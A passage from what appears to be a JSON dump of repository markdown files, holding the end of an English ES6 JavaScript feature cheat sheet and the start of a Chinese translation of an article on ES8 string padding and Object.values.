{}`\n    *   `everything` is an array with all parameters passed to `foo`\n    *   You can name a few parameters before `...everything`, like `function foo (bar, ...rest) {}`\n    *   Named parameters are excluded from `...rest`\n    *   `...rest` must be the last parameter in the list\n*   Spread operator is better than magic, also denoted with `...` syntax\n    *   Avoids `.apply` when calling methods, `fn(...[1, 2, 3])` is equivalent to `fn(1, 2, 3)`\n    *   Easier concatenation `[1, 2, ...[3, 4, 5], 6, 7]`\n    *   Casts array-likes or iterables into an array, e.g `[...document.querySelectorAll('img')]`\n    *   Useful when [destructuring](#assignment-destructuring) too, `[a, , ...rest] = [1, 2, 3, 4, 5]` yields `a: 1` and `rest: [3, 4, 5]`\n    *   Makes `new` + `.apply` effortless, `new Date(...[2015, 31, 8])`\n*   Read [ES6 Spread and Butter in Depth](https://ponyfoo.com/articles/es6-spread-and-butter-in-depth)\n\n### Arrow Functions\n\n*   Terse way to declare a function like `param => returnValue`\n*   Useful when doing functional stuff like `[1, 2].map(x => x * 2)`\n*   Several flavors are available, might take you some getting used to\n    *   `p1 => expr` is okay for a single parameter\n    *   `p1 => expr` has an implicit `return` statement for the provided `expr` expression\n    *   To return an object implicitly, wrap it in parenthesis `() => ({ foo: 'bar' })` or you’ll get **an error**\n    *   Parenthesis are demanded when you have zero, two, or more parameters, `() => expr` or `(p1, p2) => expr`\n    *   Brackets in the right-hand side represent a code block that can have multiple statements, `() => {}`\n    *   When using a code block, there’s no implicit `return`, you’ll have to provide it – `() => { return 'foo' }`\n*   You can’t name arrow functions statically, but runtimes are now much better at inferring names for most methods\n*   Arrow functions are bound to their lexical scope\n    *   `this` is the same `this` context as in the parent scope\n    *   `this` can’t be modified with `.call`, `.apply`, or similar _“reflection”-type_ methods\n*   Read [ES6 Arrow Functions in Depth](https://ponyfoo.com/articles/es6-arrow-functions-in-depth)\n\n### Template Literals\n\n*   You can declare strings with ``` (backticks), in addition to `\"` and `'`\n*   Strings wrapped in backticks are _template literals_\n*   Template literals can be multiline\n*   Template literals allow interpolation like ``ponyfoo.com is ${rating}`` where `rating` is a variable\n*   You can use any valid JavaScript expressions in the interpolation, such as ``${2 * 3}`` or ``${foo()}``\n*   You can use tagged templates to change how expressions are interpolated\n    *   Add a `fn` prefix to `fn`foo, ${bar} and ${baz}``\n    *   `fn` is called once with `template, ...expressions`\n    *   `template` is `['foo, ', ' and ', '']` and `expressions` is `[bar, baz]`\n    *   The result of `fn` becomes the value of the template literal\n    *   Possible use cases include input sanitization of expressions, parameter parsing, etc.\n*   Template literals are almost strictly better than strings wrapped in single or double quotes\n*   Read [ES6 Template Literals in Depth](https://ponyfoo.com/articles/es6-template-strings-in-depth)\n\n### Object Literals\n\n*   Instead of `{ foo: foo }`, you can just do `{ foo }` – known as a _property value shorthand_\n*   Computed property names, `{ [prefix + 'Foo']: 'bar' }`, where `prefix: 'moz'`, yields `{ mozFoo: 'bar' }`\n*   You can’t combine computed property names and property value shorthands, `{ [foo] }` is invalid\n*   Method definitions in an object literal can be declared using an alternative, more terse syntax, `{ foo () {} }`\n*   See also [`Object`](#object) section\n*   Read [ES6 Object Literal Features in Depth](https://ponyfoo.com/articles/es6-object-literal-features-in-depth)\n\n### Classes\n\n*   Not _“traditional”_ classes, syntax sugar on top of prototypal inheritance\n*   Syntax similar to declaring objects, `class Foo {}`\n*   Instance methods _– `new Foo().bar` –_ are declared using the short [object literal](#object-literals) syntax, `class Foo { bar () {} }`\n*   Static methods _– `Foo.isPonyFoo()` –_ need a `static` keyword prefix, `class Foo { static isPonyFoo () {} }`\n*   Constructor method `class Foo { constructor () { /* initialize instance */ } }`\n*   Prototypal inheritance with a simple syntax `class PonyFoo extends Foo {}`\n*   Read [ES6 Classes in Depth](https://ponyfoo.com/articles/es6-classes-in-depth)\n\n### Let and Const\n\n*   `let` and `const` are alternatives to `var` when declaring variables\n*   `let` is block-scoped instead of lexically scoped to a `function`\n*   `let` is [hoisted](https://ponyfoo.com/articles/javascript-variable-hoisting) to the top of the block, while `var` declarations are hoisted to top of the function\n*   “Temporal Dead Zone” – TDZ for short\n    *   Starts at the beginning of the block where `let foo` was declared\n    *   Ends where the `let foo` statement was placed in user code _(hoisiting is irrelevant here)_\n    *   Attempts to access or assign to `foo` within the TDZ _(before the `let foo` statement is reached)_ result in an error\n    *   Helps prevent mysterious bugs when a variable is manipulated before its declaration is reached\n*   `const` is also block-scoped, hoisted, and constrained by TDZ semantics\n*   `const` variables must be declared using an initializer, `const foo = 'bar'`\n*   Assigning to `const` after initialization fails silently (or **loudly** _– with an exception –_ under strict mode)\n*   `const` variables don’t make the assigned value immutable\n    *   `const foo = { bar: 'baz' }` means `foo` will always reference the right-hand side object\n    *   `const foo = { bar: 'baz' }; foo.bar = 'boo'` won’t throw\n*   Declaration of a variable by the same name will throw\n*   Meant to fix mistakes where you reassign a variable and lose a reference that was passed along somewhere else\n*   In ES6, **functions are block scoped**\n    *   Prevents leaking block-scoped secrets through hoisting, `{ let _foo = 'secret', bar = () => _foo; }`\n    *   Doesn’t break user code in most situations, and typically what you wanted anyways\n*   Read [ES6 Let, Const and the “Temporal Dead Zone” (TDZ) in Depth](https://ponyfoo.com/articles/es6-let-const-and-temporal-dead-zone-in-depth)\n\n### Symbols\n\n*   A new primitive type in ES6\n*   You can create your own symbols using `var symbol = Symbol()`\n*   You can add a description for debugging purposes, like `Symbol('ponyfoo')`\n*   Symbols are immutable and unique. `Symbol()`, `Symbol()`, `Symbol('foo')` and `Symbol('foo')` are all different\n*   Symbols are of type `symbol`, thus: `typeof Symbol() === 'symbol'`\n*   You can also create global symbols with `Symbol.for(key)`\n    *   If a symbol with the provided `key` already existed, you get that one back\n    *   Otherwise, a new symbol is created, using `key` as its description as well\n    *   `Symbol.keyFor(symbol)` is the inverse function, taking a `symbol` and returning its `key`\n    *   Global symbols are **as global as it gets**, or _cross-realm_. Single registry used to look up these symbols across the runtime\n        *   `window` context\n        *   `eval` context\n        *   `<iframe>`context, `Symbol.for('foo') === iframe.contentWindow.Symbol.for('foo')`\n*   There’s also “well-known” symbols\n    *   Not on the global registry, accessible through `Symbol[name]`, e.g: `Symbol.iterator`\n    *   Cross-realm, meaning `Symbol.iterator === iframe.contentWindow.Symbol.iterator`\n    *   Used by specification to define protocols, such as the [_iterable_ protocol](#iterators) over `Symbol.iterator`\n    *   They’re not **actually well-known** – in colloquial terms\n*   Iterating over symbol properties is hard, but not impossible and definitely not private\n    *   Symbols are hidden to all pre-ES6 “reflection” methods\n    *   Symbols are accessible through `Object.getOwnPropertySymbols`\n    *   You won’t stumble upon them but you **will** find them if _actively looking_\n*   Read [ES6 Symbols in Depth](https://ponyfoo.com/articles/es6-symbols-in-depth)\n\n### Iterators\n\n*   Iterator and iterable protocol define how to iterate over any object, not just arrays and array-likes\n*   A well-known `Symbol` is used to assign an iterator to any object\n*   `var foo = { [Symbol.iterator]: iterable}`, or `foo[Symbol.iterator] = iterable`\n*   The `iterable` is a method that returns an `iterator` object that has a `next` method\n*   The `next` method returns objects with two properties, `value` and `done`\n    *   The `value` property indicates the current value in the sequence being iterated\n    *   The `done` property indicates whether there are any more items to iterate\n*   Objects that have a `[Symbol.iterator]` value are _iterable_, because they subscribe to the iterable protocol\n*   Some built-ins like `Array`, `String`, or `arguments` – and `NodeList` in browsers – are iterable by default in ES6\n*   Iterable objects can be looped over with `for..of`, such as `for (let el of document.querySelectorAll('a'))`\n*   Iterable objects can be synthesized using the spread operator, like `[...document.querySelectorAll('a')]`\n*   You can also use `Array.from(document.querySelectorAll('a'))` to synthesize an iterable sequence into an array\n*   Iterators are _lazy_, and those that produce an infinite sequence still can lead to valid programs\n*   Be careful not to attempt to synthesize an infinite sequence with `...` or `Array.from` as that **will** cause an infinite loop\n*   Read [ES6 Iterators in Depth](https://ponyfoo.com/articles/es6-iterators-in-depth)\n\n### Generators\n\n*   Generator functions are a special kind of _iterator_ that can be declared using the `function* generator () {}` syntax\n*   Generator functions use `yield` to emit an element sequence\n*   Generator functions can also use `yield*` to delegate to another generator function _– or any iterable object_\n*   Generator functions return a generator object that’s adheres to both the _iterable_ and _iterator_ protocols\n    *   Given `g = generator()`, `g` adheres to the iterable protocol because `g[Symbol.iterator]` is a method\n    *   Given `g = generator()`, `g` adheres to the iterator protocol because `g.next` is a method\n    *   The iterator for a generator object `g` is the generator itself: `g[Symbol.iterator]() === g`\n*   Pull values using `Array.from(g)`, `[...g]`, `for (let item of g)`, or just calling `g.next()`\n*   Generator function execution is suspended, remembering the last position, in four different cases\n    *   A `yield` expression returning the next value in the sequence\n    *   A `return` statement returning the last value in the sequence\n    *   A `throw` statement halts execution in the generator entirely\n    *   Reaching the end of the generator function signals `{ done: true }`\n*   Once the `g` sequence has ended, `g.next()` simply returns `{ done: true }` and has no effect\n*   It’s easy to make asynchronous flows feel synchronous\n    *   Take user-provided generator function\n    *   User code is suspended while asynchronous operations take place\n    *   Call `g.next()`, unsuspending execution in user code\n*   Read [ES6 Generators in Depth](https://ponyfoo.com/articles/es6-generators-in-depth)\n\n### Promises\n\n*   Follows the [`Promises/A+`](https://promisesaplus.com/) specification, was widely implemented in the wild before ES6 was standarized _(e.g [`bluebird`](https://github.com/petkaantonov/bluebird))_\n*   Promises behave like a tree. Add branches with `p.then(handler)` and `p.catch(handler)`\n*   Create new `p` promises with `new Promise((resolve, reject) => { /* resolver */ })`\n    *   The `resolve(value)` callback will fulfill the promise with the provided `value`\n    *   The `reject(reason)` callback will reject `p` with a `reason` error\n    *   You can call those methods asynchronously, blocking deeper branches of the promise tree\n*   Each call to `p.then` and `p.catch` creates another promise that’s blocked on `p` being settled\n*   Promises start out in _pending_ state and are **settled** when they’re either _fulfilled_ or _rejected_\n*   Promises can only be settled once, and then they’re settled. Settled promises unblock deeper branches\n*   You can tack as many promises as you want onto as many branches as you need\n*   Each branch will execute either `.then` handlers or `.catch` handlers, never both\n*   A `.then` callback can transform the result of the previous branch by returning a value\n*   A `.then` callback can block on another promise by returning it\n*   `p.catch(fn).catch(fn)` won’t do what you want – unless what you wanted is to catch errors in the error handler\n*   [`Promise.resolve(value)`](https://ponyfoo.com/articles/es6-promises-in-depth#using-promiseresolve-and-promisereject) creates a promise that’s fulfilled with the provided `value`\n*   [`Promise.reject(reason)`](https://ponyfoo.com/articles/es6-promises-in-depth#using-promiseresolve-and-promisereject) creates a promise that’s rejected with the provided `reason`\n*   [`Promise.all(...promises)`](https://ponyfoo.com/articles/es6-promises-in-depth#leveraging-promiseall-and-promiserace) creates a promise that settles when all `...promises` are fulfilled or 1 of them is rejected\n*   [`Promise.race(...promises)`](https://ponyfoo.com/articles/es6-promises-in-depth#leveraging-promiseall-and-promiserace) creates a promise that settles as soon as 1 of `...promises` is settled\n*   Use [Promisees](http://bevacqua.github.io/promisees/) – the promise visualization playground – to better understand promises\n*   Read [ES6 Promises in Depth](https://ponyfoo.com/articles/es6-promises-in-depth)\n\n### Maps\n\n*   A replacement to the common pattern of creating a hash-map using plain JavaScript objects\n    *   Avoids security issues with user-provided keys\n    *   Allows keys to be arbitrary values, you can even use DOM elements or functions as the `key` to an entry\n*   `Map` adheres to _[iterable](#iterators)_ protocol\n*   Create a `map` using `new Map()`\n*   Initialize a map with an `iterable` like `[[key1, value1], [key2, value2]]` in `new Map(iterable)`\n*   Use `map.set(key, value)` to add entries\n*   Use `map.get(key)` to get an entry\n*   Check for a `key` using `map.has(key)`\n*   Remove entries with `map.delete(key)`\n*   Iterate over `map` with `for (let [key, value] of map)`, the spread operator, `Array.from`, etc\n*   Read [ES6 Maps in Depth](https://ponyfoo.com/articles/es6-maps-in-depth)\n\n### WeakMaps\n\n*   Similar to `Map`, but not quite the same\n*   `WeakMap` isn’t iterable, so you don’t get enumeration methods like `.forEach`, `.clear`, and others you had in `Map`\n*   `WeakMap` keys must be reference types. You can’t use value types like symbols, numbers, or strings as keys\n*   `WeakMap` entries with a `key` that’s the only reference to the referenced variable are subject to garbage collection\n*   That last point means `WeakMap` is great at keeping around metadata for objects, while those objects are still in use\n*   You avoid memory leaks, without manual reference counting – think of `WeakMap` as [`IDisposable`](https://msdn.microsoft.com/en-us/library/system.idisposable%28v=vs.110%29.aspx?f=255&MSPPError=-2147217396) in .NET\n*   Read [ES6 WeakMaps in Depth](https://ponyfoo.com/articles/es6-weakmaps-sets-and-weaksets-in-depth#es6-weakmaps)\n\n### Sets\n\n*   Similar to `Map`, but not quite the same\n*   `Set` doesn’t have keys, there’s only values\n*   `set.set(value)` doesn’t look right, so we have `set.add(value)` instead\n*   Sets can’t have duplicate values because the values are also used as keys\n*   Read [ES6 Sets in Depth](https://ponyfoo.com/articles/es6-weakmaps-sets-and-weaksets-in-depth#es6-sets)\n\n### WeakSets\n\n*   `WeakSet` is sort of a cross-breed between `Set` and `WeakMap`\n*   A `WeakSet` is a set that can’t be iterated and doesn’t have enumeration methods\n*   `WeakSet` values must be reference types\n*   `WeakSet` may be useful for a metadata table indicating whether a reference is actively in use or not\n*   Read [ES6 WeakSets in Depth](https://ponyfoo.com/articles/es6-weakmaps-sets-and-weaksets-in-depth#es6-weaksets)\n\n### Proxies\n\n*   Proxies are created with `new Proxy(target, handler)`, where `target` is any object and `handler` is configuration\n*   The default behavior of a `proxy` acts as a passthrough to the underlying `target` object\n*   Handlers determine how the underlying `target` object is accessed on top of regular object property access semantics\n*   You pass off references to `proxy` and retain strict control over how `target` can be interacted with\n*   Handlers are also known as traps, these terms are used interchangeably\n*   You can create **revocable** proxies with `Proxy.revocable(target, handler)`\n    *   That method returns an object with `proxy` and `revoke` properties\n    *   You could [destructure](#destructuring) `var {proxy, revoke} = Proxy.revocable(target, handler)` for convenience\n    *   You can configure the `proxy` all the same as with `new Proxy(target, handler)`\n    *   After `revoke()` is called, the `proxy` will **throw** on _any operation_, making it convenient when you can’t trust consumers\n*   [`get`](https://ponyfoo.com/articles/es6-proxies-in-depth#get) – traps `proxy.prop` and `proxy['prop']`\n*   [`set`](https://ponyfoo.com/articles/es6-proxies-in-depth#set) – traps `proxy.prop = value` and `proxy['prop'] = value`\n*   [`has`](https://ponyfoo.com/articles/es6-proxy-traps-in-depth#has) – traps `in` operator\n*   [`deleteProperty`](https://ponyfoo.com/articles/es6-proxy-traps-in-depth#deleteproperty) – traps `delete` operator\n*   [`defineProperty`](https://ponyfoo.com/articles/es6-proxy-traps-in-depth#defineproperty) – traps `Object.defineProperty` and declarative alternatives\n*   [`enumerate`](https://ponyfoo.com/articles/es6-proxy-traps-in-depth#enumerate) – traps `for..in` loops\n*   [`ownKeys`](https://ponyfoo.com/articles/es6-proxy-traps-in-depth#ownkeys) – traps `Object.keys` and related methods\n*   [`apply`](https://ponyfoo.com/articles/es6-proxy-traps-in-depth#apply) – traps _function calls_\n*   [`construct`](https://ponyfoo.com/articles/morees6-proxy-traps-in-depth#construct) – traps usage of the `new` operator\n*   [`getPrototypeOf`](https://ponyfoo.com/articles/morees6-proxy-traps-in-depth#getprototypeof) – traps internal calls to `[[GetPrototypeOf]]`\n*   [`setPrototypeOf`](https://ponyfoo.com/articles/morees6-proxy-traps-in-depth#setprototypeof) – traps calls to `Object.setPrototypeOf`\n*   [`isExtensible`](https://ponyfoo.com/articles/morees6-proxy-traps-in-depth#isextensible) – traps calls to `Object.isExtensible`\n*   [`preventExtensions`](https://ponyfoo.com/articles/morees6-proxy-traps-in-depth#preventextensions) – traps calls to `Object.preventExtensions`\n*   [`getOwnPropertyDescriptor`](https://ponyfoo.com/articles/morees6-proxy-traps-in-depth#getownpropertydescriptor) – traps calls to `Object.getOwnPropertyDescriptor`\n*   Read [ES6 Proxies in Depth](https://ponyfoo.com/articles/es6-proxies-in-depth)\n*   Read [ES6 Proxy Traps in Depth](https://ponyfoo.com/articles/es6-proxy-traps-in-depth)\n*   Read [More ES6 Proxy Traps in Depth](https://ponyfoo.com/articles/more-es6-proxy-traps-in-depth)\n\n### Reflection\n\n*   `Reflection` is a new static built-in (think of `Math`) in ES6\n*   `Reflection` methods have sensible internals, e.g `Reflect.defineProperty` returns a boolean instead of throwing\n*   There’s a `Reflection` method for each proxy trap handler, and they represent the default behavior of each trap\n*   Going forward, new reflection methods in the same vein as `Object.keys` will be placed in the `Reflection` namespace\n*   Read [ES6 Reflection in Depth](https://ponyfoo.com/articles/es6-reflection-in-depth)\n\n### `Number`\n\n*   Use `0b` prefix for binary, and `0o` prefix for octal integer literals\n*   `Number.isNaN` and `Number.isFinite` are like their global namesakes, except that they _don’t_ coerce input to `Number`\n*   `Number.parseInt` and `Number.parseFloat` are exactly the same as their global namesakes\n*   `Number.isInteger` checks if input is a `Number` value that doesn’t have a decimal part\n*   `Number.EPSILON` helps figure out negligible differences between two numbers – e.g. `0.1 + 0.2` and `0.3`\n*   `Number.MAX_SAFE_INTEGER` is the largest integer that can be safely and precisely represented in JavaScript\n*   `Number.MIN_SAFE_INTEGER` is the smallest integer that can be safely and precisely represented in JavaScript\n*   `Number.isSafeInteger` checks whether an integer is within those bounds, able to be represented safely and precisely\n*   Read [ES6 `Number` Improvements in Depth](https://ponyfoo.com/articles/es6-number-improvements-in-depth)\n\n### `Math`\n\n*   [`Math.sign`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathsign) – sign function of a number\n*   [`Math.trunc`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathtrunc) – integer part of a number\n*   [`Math.cbrt`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathcbrt) – cubic root of value, or `∛‾value`\n*   [`Math.expm1`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathexpm1) – `e` to the `value` minus `1`, or `e<sup>value</sup> - 1`\n*   [`Math.log1p`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathlog1p) – natural logarithm of `value + 1`, or `_ln_(value + 1)`\n*   [`Math.log10`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathlog10) – base 10 logarithm of `value`, or `_log_<sub>10</sub>(value)`\n*   [`Math.log2`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathlog2) – base 2 logarithm of `value`, or `_log_<sub>2</sub>(value)`\n*   [`Math.sinh`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathsinh) – hyperbolic sine of a number\n*   [`Math.cosh`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathcosh) – hyperbolic cosine of a number\n*   [`Math.tanh`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathtanh) – hyperbolic tangent of a number\n*   [`Math.asinh`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathasinh) – hyperbolic arc-sine of a number\n*   [`Math.acosh`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathacosh) – hyperbolic arc-cosine of a number\n*   [`Math.atanh`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathatanh) – hyperbolic arc-tangent of a number\n*   [`Math.hypot`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathhypot) – square root of the sum of squares\n*   [`Math.clz32`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathclz32) – leading zero bits in the 32-bit representation of a number\n*   [`Math.imul`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathimul) – _C-like_ 32-bit multiplication\n*   [`Math.fround`](https://ponyfoo.com/articles/es6-math-additions-in-depth#mathfround) – nearest single-precision float representation of a number\n*   Read [ES6 `Math` Additions in Depth](https://ponyfoo.com/articles/es6-math-additions-in-depth)\n\n### `Array`\n\n*   [`Array.from`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayfrom) – create `Array` instances from arraylike objects like `arguments` or iterables\n*   [`Array.of`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayof) – similar to `new Array(...items)`, but without special cases\n*   [`Array.prototype.copyWithin`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayprototypecopywithin) – copies a sequence of array elements into somewhere else in the array\n*   [`Array.prototype.fill`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayprototypefill) – fills all elements of an existing array with the provided value\n*   [`Array.prototype.find`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayprototypefind) – returns the first item to satisfy a callback\n*   [`Array.prototype.findIndex`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayprototypefindindex) – returns the index of the first item to satisfy a callback\n*   [`Array.prototype.keys`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayprototypekeys) – returns an iterator that yields a sequence holding the keys for the array\n*   [`Array.prototype.values`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayprototypevalues) – returns an iterator that yields a sequence holding the values for the array\n*   [`Array.prototype.entries`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayprototypeentries) – returns an iterator that yields a sequence holding key value pairs for the array\n*   [`Array.prototype[Symbol.iterator]`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayprototype-symboliterator) – exactly the same as the [`Array.prototype.values`](https://ponyfoo.com/articles/es6-array-extensions-in-depth#arrayprototypevalues) method\n*   Read [ES6 `Array` Extensions in Depth](https://ponyfoo.com/articles/es6-array-extensions-in-depth)\n\n### `Object`\n\n*   [`Object.assign`](https://ponyfoo.com/articles/es6-object-changes-in-depth#objectassign) – recursive shallow overwrite for properties from `target, ...objects`\n*   [`Object.is`](https://ponyfoo.com/articles/es6-object-changes-in-depth#objectis) – like using the `===` operator programmatically, but also `true` for `NaN` vs `NaN` and `+0` vs `-0`\n*   [`Object.getOwnPropertySymbols`](https://ponyfoo.com/articles/es6-object-changes-in-depth#objectgetownpropertysymbols) – returns all own property symbols found on an object\n*   [`Object.setPrototypeOf`](https://ponyfoo.com/articles/es6-object-changes-in-depth#objectsetprototypeof) – changes prototype. Equivalent to `target.__proto__` setter\n*   See also [Object Literals](#object-literals) section\n*   Read [ES6 `Object` Changes in Depth](https://ponyfoo.com/articles/es6-object-changes-in-depth)\n\n### Strings and Unicode\n\n*   String Manipulation\n    *   [`String.prototype.startsWith`](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth#stringprototypestartswith) – whether the string starts with `value`\n    *   [`String.prototype.endsWith`](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth#stringprototypeendswith) – whether the string ends in `value`\n    *   [`String.prototype.includes`](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth#stringprototypeincludes) – whether the string contains `value` anywhere\n    *   [`String.prototype.repeat`](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth#stringprototyperepeat) – returns the string repeated `amount` times\n    *   [`String.prototype[Symbol.iterator]`](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth#stringprototype-symboliterator) – lets you iterate over a sequence of unicode code points _(not characters)_\n*   [Unicode](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth#unicode)\n    *   [`String.prototype.codePointAt`](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth#stringprototypecodepointat) – base-10 numeric representation of a code point at a given position in string\n    *   [`String.fromCodePoint`](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth#stringfromcodepoint%60) – given `...codepoints`, returns a string made of their unicode representations\n    *   [`String.prototype.normalize`](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth#stringprototypenormalize) – returns a normalized version of the string’s unicode representation\n*   Read [ES6 Strings and Unicode Additions in Depth](https://ponyfoo.com/articles/es6-strings-and-unicode-in-depth)\n\n### Modules\n\n*   [Strict Mode](https://ponyfoo.com/articles/es6-modules-in-depth#strict-mode) is turned on by default in the ES6 module system\n*   ES6 modules are files that [`export`](https://ponyfoo.com/articles/es6-modules-in-depth#export) an API\n*   [`export default value`](https://ponyfoo.com/articles/es6-modules-in-depth#exporting-a-default-binding) exports a default binding\n*   [`export var foo = 'bar'`](https://ponyfoo.com/articles/es6-modules-in-depth#named-exports) exports a named binding\n*   Named exports are bindings that [can be changed](https://ponyfoo.com/articles/es6-modules-in-depth#bindings-not-values) at any time from the module that’s exporting them\n*   `export { foo, bar }` exports [a list of named exports](https://ponyfoo.com/articles/es6-modules-in-depth#exporting-lists)\n*   `export { foo as ponyfoo }` aliases the export to be referenced as `ponyfoo` instead\n*   `export { foo as default }` marks the named export as the default export\n*   As [a best practice](https://ponyfoo.com/articles/es6-modules-in-depth#best-practices-and-export), `export default api` at the end of all your modules, where `api` is an object, avoids confusion\n*   Module loading is implementation-specific, allows interoperation with CommonJS\n*   [`import 'foo'`](https://ponyfoo.com/articles/es6-modules-in-depth#import) loads the `foo` module into the current module\n*   [`import foo from 'ponyfoo'`](https://ponyfoo.com/articles/es6-modules-in-depth#importing-default-exports) assigns the default export of `ponyfoo` to a local `foo` variable\n*   [`import {foo, bar} from 'baz'`](https://ponyfoo.com/articles/es6-modules-in-depth#importing-named-exports) imports named exports `foo` and `bar` from the `baz` module\n*   `import {foo as bar} from 'baz'` imports named export `foo` but aliased as a `bar` variable\n*   `import {default} from 'foo'` also imports the default export\n*   `import {default as bar} from 'foo'` imports the default export aliased as `bar`\n*   `import foo, {bar, baz} from 'foo'` mixes default `foo` with named exports `bar` and `baz` in one declaration\n*   [`import * as foo from 'foo'`](https://ponyfoo.com/articles/es6-modules-in-depth#import-all-the-things) imports the namespace object\n    *   Contains all named exports in `foo[name]`\n    *   Contains the default export in `foo.default`, if a default export was declared in the module\n*   Read [ES6 Modules Additions in Depth](https://ponyfoo.com/articles/es6-modules-in-depth)\n\nTime for a bullet point detox. Then again, I _did warn you_ to read the [article series](https://ponyfoo.com/articles/tagged/es6-in-depth) instead. Don’t forget to subscribe and maybe even [contribute to keep Pony Foo alive](http://patreon.com/bevacqua). Also, did you try the [Konami code](https://en.wikipedia.org/wiki/Konami_Code) just yet?\n"
  },
  {
    "path": "TODO/es8-was-released-and-here-are-its-main-new-features.md",
    "content": "\n> * 原文地址：[ES8 was Released and here are its Main New Features 🔥](https://hackernoon.com/es8-was-released-and-here-are-its-main-new-features-ee9c394adf66)\n> * 原文作者：本文已获原作者 [Dor Moshe](https://hackernoon.com/@dormoshe) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/es8-was-released-and-here-are-its-main-new-features.md](https://github.com/xitu/gold-miner/blob/master/TODO/es8-was-released-and-here-are-its-main-new-features.md)\n> * 译者：[Jason Cheng](https://github.com/ToBeNumerOne)\n\n# ES8 新特性一览 🔥\n\n## 本文主要讲解 ES8 ( ES2017 )新增的功能、特性\n\n![](https://cdn-images-1.medium.com/max/2000/1*g3nPXrupuJ3koTjRNr6daw.png)\n\nES8 或者说是 ES2017 已经在今年6月底的时候被 TC39 正式发布。似乎我们在最近的一年里就已经谈论了很多有关 ECMA 的事情。现在的 ES 标准每年发布一次。我们都知道 ES6 是在2015年发布的，ES7 是在2016年发布的，但是估计会有很少数人知道 ES5 是在何时发布的。答案是2009年，是在 JavaScript 逐渐变的流行之前发布的。\n\nJavaScript，作为一门处于高速发展期的开发语言，正在变的越来越完善、稳定。我们必须拥抱这些变化，并且我们需要把ES8加入到我们的技术栈中。\n\n![](https://ws2.sinaimg.cn/large/006tKfTcgy1fhh0w51hshj30ji07iaaq.jpg)\n\n如果您想对 ES8 做一个深入、彻底的了解，您可以查阅[Web 资源](https://www.ecma-international.org/ecma-262/8.0/index.html)或者[PDF 资源](https://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf)。其他的读者，您可以直接查阅本文，因为本文将涵盖 ES8 主要的新特性，并且会附上代码示例。\n\n---\n\n### 字符串填充\n\n在 String 对象中，ES8 增加了两个新的函数： padStart 和 padEnd 。正如其名，这俩函数的作用就是在字符串的头部和尾部增加新的字符串，并且返回一个**具有指定长度的新的字符串**。你可以使用指定的字符、字符串或者使用函数提供的默认值－空格来填充源字符串。具体的函数申明如下：\n\n```javascript\nstr.padStart(targetLength [, padString])\n\nstr.padEnd(targetLength [, padString])\n```\n\n正如你所看到的，这俩函数的第一个参数（必输）是 `targetLength` ，这个参数指的是设定这俩函数最后返回的字符串的长度。第二个参数 `padString` 是可选参数，代表你想要填充的内容，默认值是空格。具体代码示例如下：\n\n```javascript\n'es8'.padStart(2);          // 'es8'\n'es8'.padStart(5);          // '  es8'\n'es8'.padStart(6, 'woof');  // 'wooes8'\n'es8'.padStart(14, 'wow');  // 'wowwowwowwoes8'\n'es8'.padStart(7, '0');     // '0000es8'\n\n'es8'.padEnd(2);          // 'es8'\n'es8'.padEnd(5);          // 'es8  '\n'es8'.padEnd(6, 'woof');  // 'es8woo'\n'es8'.padEnd(14, 'wow');  // 'es8wowwowwowwo'\n'es8'.padEnd(7, '6');     // 'es86666'\n```\n\n目前浏览器的支持情况如下（信息来自 MDN ）：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*gR7YnK8_2yw2l2YZQiJkSA.png\">\n\n---\n\n### values和entries函数\n\n在 Object 中，ES8 也新增了两个新的函数，分别是 `Object.values` 函数和 `Object.entries` 函数。`Object.values` 函数将会返回一个数组，该数组的内容是函数参数（一个对象）可遍历属性的属性值。数组中得到的属性值的顺序与你在对参数对象使用 `for in ` 语句时获取到的属性值的顺序一致。函数声明如下：\n\n```javascript\nObject.values(obj)\n```\n\n参数 `obj` 就是源对象，它可以是一个对象或者一个数组（因为数组可以看作是数组下标为 key ，数组元素为 value 的特殊对象）。具体的代码示例如下：\n\n```javascript\nconst obj = { x: 'xxx', y: 1 };\nObject.values(obj); // ['xxx', 1]\n\nconst obj = ['e', 's', '8']; // same as { 0: 'e', 1: 's', 2: '8' };\nObject.values(obj); // ['e', 's', '8']\n\n// when we use numeric keys, the values returned in a numerical \n// order according to the keys\nconst obj = { 10: 'xxx', 1: 'yyy', 3: 'zzz' };\nObject.values(obj); // ['yyy', 'zzz', 